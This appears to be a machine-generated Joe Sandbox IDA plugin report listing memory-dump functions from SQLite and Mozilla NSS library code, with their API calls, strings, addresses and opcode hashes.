Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 37f5dee620c65f5eaf4cf0aa11feec01208048d217405fd58a52816d2cf19ebc
Instruction ID: 71b20217a9cf46ab073da49360f8ddf405831849a4134d33fee91abac98dd9cb
Opcode Fuzzy Hash: 37f5dee620c65f5eaf4cf0aa11feec01208048d217405fd58a52816d2cf19ebc
Instruction Fuzzy Hash: D831E775B492109BEB119EA7AC8CB4F37B8DB13308F418115EB0D97A40D374AC14CBD9

Function 6C4E2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4E2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C4E2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C4E3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C4E30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4E3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4E3178

Strings

%s at line %d of [%.10s], xrefs: 6C4E3171
database corruption, xrefs: 6C4E316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4E3022, 6C4E3156, 6C4E3162, 6C4E318A, 6C4E3196, 6C4E31A2, 6C4E31AE, 6C4E31BA, 6C4E31C6

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: ff8c628fc78d651ba817ee492906bdc32ff3ed1682cfe9ba6a4956bb344d91fb
Instruction ID: 21975098786a83fd38813f7de6eb0fed2bdb72f87f4acbee19af22d425beae37
Opcode Fuzzy Hash: ff8c628fc78d651ba817ee492906bdc32ff3ed1682cfe9ba6a4956bb344d91fb
Instruction Fuzzy Hash: 79B1AB70E052199BCB19CF9DC884EAEFBB1BF4C305F25842DE805A7B55D774A842CBA4

Function 6C532D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C532D69

Strings

el, xrefs: 6C532DD0
winTruncate1, xrefs: 6C532EBE
winTruncate2, xrefs: 6C532EF8
Pel, xrefs: 6C532E74, 6C532EC5, 6C532F32, 6C532F5C
winUnmapfile2, xrefs: 6C532F7F
@el, xrefs: 6C532E24
winUnmapfile1, xrefs: 6C532F55
winSeekFile, xrefs: 6C532E9C

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: __allrem
String ID: @el$Pel$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$el
API String ID: 2933888876-921615804
Opcode ID: 0c94a2561a5012f54e61eaf73303d612c62ac040d440ac8a68c9fa785ab1fca1
Instruction ID: 5b1225bc468af4735318156e3972d6e4a1605ad38f90cc40c4e7213fadfe3744
Opcode Fuzzy Hash: 0c94a2561a5012f54e61eaf73303d612c62ac040d440ac8a68c9fa785ab1fca1
Instruction Fuzzy Hash: C261EE71B006159FDB04CFA9DC84A6A77B1FF89314F108628E91A9B7D1EB31AC06CBD5

Function 6C5369A0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6C4CCA30: EnterCriticalSection.KERNEL32(?,?,?,6C52F9C9,?,6C52F4DA,6C52F9C9,?,?,6C4F369A), ref: 6C4CCA7A
Part of subcall function 6C4CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C4CCB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C536A02
EnterCriticalSection.KERNEL32(?), ref: 6C536AA6
LeaveCriticalSection.KERNEL32(?), ref: 6C536AF9
sqlite3_free.NSS3(00000000), ref: 6C536B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6C536BA6

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C536B9F
Pel, xrefs: 6C536B1F
`el, xrefs: 6C536A53
winDelete, xrefs: 6C536B71

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: Pel$`el$delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-34832298
Opcode ID: c1b14e224d866130bc39dadbbb0d3558126747a3bcaf0ab267a42a3dde1fde7e
Instruction ID: 97d6d006c6104905dcc54ab5a3a0d32151e80f4143a585ae0109b1be497ecbb7
Opcode Fuzzy Hash: c1b14e224d866130bc39dadbbb0d3558126747a3bcaf0ab267a42a3dde1fde7e
Instruction Fuzzy Hash: 9451E331B002169BEB049FA6EC989BE3775FB87314F14512DE51AD7680EF709901CB9A

Function 6C4C2400 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,bind on a busy prepared statement: [%s],?), ref: 6C4C24EC
sqlite3_log.NSS3(00000015,API called with NULL prepared statement,?,?,?,?,?,6C4C2315), ref: 6C4C254F
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000151C9,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,6C4C2315), ref: 6C4C256C

Strings

API called with finalized prepared statement, xrefs: 6C4C2543, 6C4C254D
%s at line %d of [%.10s], xrefs: 6C4C2566
bind on a busy prepared statement: [%s], xrefs: 6C4C24E6
misuse, xrefs: 6C4C2561
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4C24F4, 6C4C2557
API called with NULL prepared statement, xrefs: 6C4C253C

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$misuse
API String ID: 632333372-2222229625
Opcode ID: 411b6206acee7d29febf8482d5fc0a1ff04da279bdd03051f07c922f42c62165
Instruction ID: 59144b48cb6f14bda39e2a80469567a602158a454f4ea5ed5bb579d11d5def47
Opcode Fuzzy Hash: 411b6206acee7d29febf8482d5fc0a1ff04da279bdd03051f07c922f42c62165
Instruction Fuzzy Hash: 0F4115797006009BE730DF15DC98F6777A6BF81319F18092CE8154BB60DFBAE8068B96

Function 6C59A470 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C59A4A6

Part of subcall function 6C5A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A08B4

PORT_Alloc_Util.NSS3(?), ref: 6C59A4EC

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

memcpy.VCRUNTIME140(-00000006,?,?), ref: 6C59A527
memcmp.VCRUNTIME140(00000006,?,?), ref: 6C59A56D
memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6C59A583
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C59A596
free.MOZGLUE(?), ref: 6C59A5A4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C59A5B6

Strings

^jUl, xrefs: 6C59A475

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$Utilmemcmp$Alloc_FindTag_Valuefreemallocmemcpy
String ID: ^jUl
API String ID: 3906949479-3424546073
Opcode ID: 48edf29526338d6c8eca74cb8a43ef5df0ce1ba7936351c55eee2b2fa68c94a4
Instruction ID: ff703aaf4736fbbbbf59409fe0eb6f81b0bd14161ff26006dbb1fcd69fc3b0c9
Opcode Fuzzy Hash: 48edf29526338d6c8eca74cb8a43ef5df0ce1ba7936351c55eee2b2fa68c94a4
Instruction Fuzzy Hash: BC41E671E042829FDF10CF59CC40B9ABBB5AF85308F14C4A9D8695BB52E731E919C7B1

Function 6C4C6600 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 95COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,NULL), ref: 6C4C6C66
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0001F490,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4C6C83

Strings

%s at line %d of [%.10s], xrefs: 6C4C6C7D
misuse, xrefs: 6C4C6C78
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4C6C6E
invalid, xrefs: 6C4C6C95
unopened, xrefs: 6C4C6C9F
NULL, xrefs: 6C4C6C55, 6C4C6C5F
API call with %s database connection pointer, xrefs: 6C4C6C60

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$NULL$invalid$misuse$unopened
API String ID: 632333372-4248800309
Opcode ID: 24c0f74e48d7f4f9eb6cab77f05a9d20f43dcd80b04ff4615d3a1fdfab3f050a
Instruction ID: de311e3cff44de296aeabbc4ab540cfdfd25e82b41990ef88ca5e0d2cb8e0116
Opcode Fuzzy Hash: 24c0f74e48d7f4f9eb6cab77f05a9d20f43dcd80b04ff4615d3a1fdfab3f050a
Instruction Fuzzy Hash: 56316936B041049BDB10CE6A8C81FFB3BB6FB81319F148128D928DBB95D730984687E7

Function 6C540F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C540F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C540F84

Part of subcall function 6C59B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6718D0,?), ref: 6C59B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C55F59B,6C66890C,?), ref: 6C540FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C540FC1

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C540FDB
PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0), ref: 6C540FEF
PL_FreeArenaPool.NSS3(?), ref: 6C541001
PL_FinishArenaPool.NSS3(?), ref: 6C541009

Strings

security, xrefs: 6C540F5C

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 69a3fa1b9bcb52d89c46a2dab2fd8446d2698cc281a455dc75fb99f5f1fcd587
Instruction ID: 1cb4be55dcbb164a92a267f071ab0aad1cdf8d121adbe392a4f1da709204ece8
Opcode Fuzzy Hash: 69a3fa1b9bcb52d89c46a2dab2fd8446d2698cc281a455dc75fb99f5f1fcd587
Instruction Fuzzy Hash: 0F21F571900304ABE7109F65DC80AAF7BB4EF85658F108529FC1896601FB31E916CBE6

Function 6C652AD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C652AE8
strdup.MOZGLUE(00000000), ref: 6C652AFA
PR_ExitMonitor.NSS3 ref: 6C652B0B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(LD_LIBRARY_PATH), ref: 6C652B1E
strdup.MOZGLUE(.;\lib), ref: 6C652B32
PR_ExitMonitor.NSS3 ref: 6C652B4A
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C652B59

Strings

.;\lib, xrefs: 6C652B29, 6C652B31
LD_LIBRARY_PATH, xrefs: 6C652B19

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Monitor$Exitstrdup$EnterErrorgetenv
String ID: .;\lib$LD_LIBRARY_PATH
API String ID: 2438426442-3838498337
Opcode ID: 9a7bef61aa4a78b17830fc71fef54a3730511693618a6bdaebdc368087870917
Instruction ID: 2913a4672bb8dee3a4303abb2cf0f0e7ebed0a4d6937affb2e007e62cde0c47e
Opcode Fuzzy Hash: 9a7bef61aa4a78b17830fc71fef54a3730511693618a6bdaebdc368087870917
Instruction Fuzzy Hash: 6601DBB9F40112A7DF146FA7AC85B5A37B49B1235DF580130DC0AD1A21F726E838C69F

Function 6C5DAB00 Relevance: 15.3, APIs: 10, Instructions: 293memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DA6D0: PORT_ZAlloc_Util.NSS3(00000A38,00000000,?,6C5D80C1), ref: 6C5DA6F9
Part of subcall function 6C5DA6D0: memcpy.VCRUNTIME140(00000210,6C6A0BEC,0000011C), ref: 6C5DA869

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,?,6C5D80AD), ref: 6C5DAB48

Part of subcall function 6C59FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C598D2D,?,00000000,?), ref: 6C59FB85
Part of subcall function 6C59FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C59FBB1

PORT_Strdup_Util.NSS3(?,?,?,?,?,6C5D80AD), ref: 6C5DAB8E
PORT_Strdup_Util.NSS3(?,?,?,?,?,6C5D80AD), ref: 6C5DABA7
memcpy.VCRUNTIME140(?,00000210,0000011C,?,?,?,?,6C5D80AD), ref: 6C5DABFE
memcpy.VCRUNTIME140(?,000006AA,?,?,?,?,?,?,?,?,6C5D80AD), ref: 6C5DAC1C
memcpy.VCRUNTIME140(?,000006C0,?,?,?,?,?,?,?,?,?,?,?,6C5D80AD), ref: 6C5DAC48

Part of subcall function 6C5D5BC0: PR_EnterMonitor.NSS3(8B105D8B,?,?,6C5D80E3,00000000), ref: 6C5D5BD6
Part of subcall function 6C5D5BC0: PR_EnterMonitor.NSS3(840FC085,?,?,6C5D80E3,00000000), ref: 6C5D5BED
Part of subcall function 6C5D5BC0: PR_EnterMonitor.NSS3(07890478,?,?,6C5D80E3,00000000), ref: 6C5D5C04
Part of subcall function 6C5D5BC0: PR_EnterMonitor.NSS3(000000F4,?,?,6C5D80E3,00000000), ref: 6C5D5C1B
Part of subcall function 6C5D5BC0: PR_Unlock.NSS3(0140BCE8,?,?,6C5D80E3,00000000), ref: 6C5D5C4C
Part of subcall function 6C5D5BC0: PR_Unlock.NSS3(08C48300,?,?,6C5D80E3,00000000), ref: 6C5D5C5F
Part of subcall function 6C5D5BC0: PR_ExitMonitor.NSS3(8B105D8B,?,?,6C5D80E3,00000000), ref: 6C5D5C76
Part of subcall function 6C5D5BC0: PR_ExitMonitor.NSS3(840FC085,?,?,6C5D80E3,00000000), ref: 6C5D5C8D
Part of subcall function 6C5D5BC0: PR_ExitMonitor.NSS3(07890478,?,?,6C5D80E3,00000000), ref: 6C5D5CA4
Part of subcall function 6C5D5BC0: PR_ExitMonitor.NSS3(000000F4,?,?,6C5D80E3,00000000), ref: 6C5D5CBB

PORT_ZAlloc_Util.NSS3(00000010,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D80AD), ref: 6C5DACED

Part of subcall function 6C5A0D30: calloc.MOZGLUE ref: 6C5A0D50
Part of subcall function 6C5A0D30: TlsGetValue.KERNEL32 ref: 6C5A0D6D

PORT_ZAlloc_Util.NSS3(0000001C,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D80AD), ref: 6C5DAD52
SECKEY_CopyPrivateKey.NSS3(?), ref: 6C5DAEE5
SECKEY_CopyPublicKey.NSS3(?), ref: 6C5DAEFC

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Monitor$Util$memcpy$Alloc_EnterExit$Copy$Strdup_Unlock$ArenaItem_PrivatePublicValuecalloc
String ID:
API String ID: 3422837898-0
Opcode ID: 85cc5416a763968eb51b84c2a7253d6907210f3b63f398a93b591fc88fe9c75d
Instruction ID: 41565bebf85b03f79dda651fb9fc489c0eacabc5e4e74b9e79d62680b074e0c3
Opcode Fuzzy Hash: 85cc5416a763968eb51b84c2a7253d6907210f3b63f398a93b591fc88fe9c75d
Instruction Fuzzy Hash: 76D1E9B5A013028FDB44CF68C880BE6B7E5BB48314F1942B9DC1DDB706E734A995CBA5

Function 6C546DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C547D8F,6C547D8F,?,?), ref: 6C546DC8

Part of subcall function 6C59FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C59FE08
Part of subcall function 6C59FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C59FE1D
Part of subcall function 6C59FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C59FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C547D8F,?,?), ref: 6C546DD5

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C668FA0,00000000,?,?,?,?,6C547D8F,?,?), ref: 6C546DF7

Part of subcall function 6C59B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6718D0,?), ref: 6C59B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C546E35

Part of subcall function 6C59FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C59FE29
Part of subcall function 6C59FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C59FE3D
Part of subcall function 6C59FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C59FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C546E4C

Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C668FE0,00000000), ref: 6C546E82

Part of subcall function 6C546AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C54B21D,00000000,00000000,6C54B219,?,6C546BFB,00000000,?,00000000,00000000,?,?,?,6C54B21D), ref: 6C546B01
Part of subcall function 6C546AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C546B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C546F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C546F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C668FE0,00000000), ref: 6C546F6B
PR_SetError.NSS3(FFFFE005,00000000,6C547D8F,?,?), ref: 6C546FE1

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 7bcd50d02d79a3e27689d35080448768c28dc32086b29d3b5f580a3c904782c8
